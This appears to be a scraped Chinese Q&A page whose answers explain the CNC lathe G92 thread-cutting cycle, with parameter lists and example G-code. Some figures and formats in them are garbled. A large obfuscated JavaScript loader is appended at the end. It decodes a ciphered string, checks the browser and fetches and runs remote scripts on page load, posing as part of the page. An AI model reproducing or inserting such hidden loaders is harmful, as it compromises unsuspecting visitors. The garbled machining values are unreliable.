推荐回答(5个)
一、指令格式:G92 X(U) Z(W) P(E) I K P L ,其中I不能取负值.
其中:
X(U) Z(W)—螺纹终点的坐标位置
P---公制螺纹螺距,范围:025-100mm
E---英制螺纹导程.范围100-025牙/英寸
I---螺纹退尾时X轴方向的移动距离.当K≠0时省略I则默认I=2XK即45℃方向退尾.
K---螺纹退尾时退尾起点距终点在Z轴方向的距离.
R---螺纹起点与螺纹终点的直径之差(螺纹锥度,省略R为直螺纹)
L---多头螺纹的螺纹头数(省略L为单头螺纹)范围:1-99
当R≠0时R<0退尾方向为正向(X向正方向移动),R>0退尾方向为负向(X向负方向移动).
当R=0 K≠0时,由K的符号决定X轴的退尾方向.K>0退尾方向为正向,(X向正方向移动),K<0退尾方向为负向(X向负方向移动)
当R≠0 K≠0时,R决定锥度方向,K决定退尾方向.
二、G92螺纹循环的执行过程:
X轴从A点快速进给到B点.
X.Z轴螺纹切削到C点.
X轴快速退到D点.
Z轴快速退回A点.
若多头螺纹,重复1-4的过程进行多头螺纹的切削.
一般螺纹切削都需要多次进刀,此时只需修改进刀终点的X坐标值(或相对于起点的增量值).螺纹循环结束后,坐标位置仍然在起点。

扩展资料
圆柱螺纹编程螺纹导程为1.5mm, δ=1.5mm, δ '=1mm ,每次吃刀量(直径值)分别为0.8mm、0.6 mm 、0.4mm、0.16mm。
螺纹编程实例:
N1 G92 X50 Z120 (设立坐标系,定义对刀点的位置)
N2 M03 S300 (主轴以300r/min旋转)
N3 G00 X29.2 Z101.5 (到螺纹起点,升速段1.5mm,吃刀深0.8mm)
N4 G32 Z19 F1.5 (切削螺纹到螺纹切削终点,降速段1mm)
N5 G00 X40 (X轴方向快退)
N6 Z101.5 (Z轴方向快退到螺纹起点处)
N7 X28.6 (X轴方向快进到螺纹起点处,吃刀深0.6mm)
N8 G32 Z19 F1.5 (切削螺纹到螺纹切削终点)
N9 G00 X40 (X轴方向快退)
N10 Z101.5 (Z轴方向快退到螺纹起点处)
N11 X28.2 (X轴方向快进到螺纹起点处,吃刀深0.4mm)
N12 G32 Z19 F1.5 (切削螺纹到螺纹切削终点)
N13 G00 X40 (X轴方向快退)
N14 Z101.5 (Z轴方向快退到螺纹起点处)
N15 U-11.96 (X轴方向快进到螺纹起点处,吃刀深0.16mm)
N16 G32 W-82.5 F1.5 (切削螺纹到螺纹切削终点)
N17 G00 X40 (X轴方向快退)
N18 X50 Z120 (回对刀点)
N19 M05 (主轴停)
N20 M30 (主程序结束并复位)
参考资料来源:百度百科 - 数控车床普通螺纹
1、格式G92X-Z-R-P- ( X-Z-坐标值,R大小经半径值,P螺距)。
2、公制螺纹双边牙高计算公式: 1.08*P (P为螺距) 如:螺距为1.5 双边牙高=1.08*1.5=1.62 。
3、大头小径为45-1.62=43.38
4、R=(45-20)/2=12.5(Z注外螺纹为-,内螺纹R为+)。
5、以你的螺距为1.5为例编程如下:
G0X45Z3
G92X44.5Z-20R-12.5P1.5
X44.1
X43.8
X 43.5
X43.38
G0X100 Z100 M5
M9
M2
含义:
X(U) Z(W) 螺纹终点坐标
P 公制螺纹螺距
E 英制螺纹螺距
I 螺纹退尾时,X轴方向的移动距离
K 螺纹退尾时退尾起点距终点在Z轴方向的距离
R 螺纹起点与螺纹终点的直径差
L 多头螺纹的螺纹头数

扩展资料
圆柱螺纹编程螺纹导程为1.5mm, δ=1.5mm, δ '=1mm ,每次吃刀量(直径值)分别为0.8mm、0.6 mm 、0.4mm、0.16mm。
螺纹编程实例:
N1 G92 X50 Z120 (设立坐标系,定义对刀点的位置)
N2 M03 S300 (主轴以300r/min旋转)
N3 G00 X29.2 Z101.5 (到螺纹起点,升速段1.5mm,吃刀深0.8mm)
N4 G32 Z19 F1.5 (切削螺纹到螺纹切削终点,降速段1mm)
N5 G00 X40 (X轴方向快退)
N6 Z101.5 (Z轴方向快退到螺纹起点处)
N7 X28.6 (X轴方向快进到螺纹起点处,吃刀深0.6mm)
N8 G32 Z19 F1.5 (切削螺纹到螺纹切削终点)
用G92指令,格式为:G92X()Z()R()F(),
其中R--车斜锥螺纹,为螺纹最大公称直径减最小公称直径的半径值,公式R
=d大-d小/2,有正,负值之分;
F--螺纹的螺距;
例如:G92 X23.8 Z-10 R-3 F3
G00 X Z ; 设定螺纹切削起点
G92 X Z ; 第一次切削循环
X ; 第二次
X ; 第三次,结束
X ; ……粗牙或者刀具不好的,多几次!
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();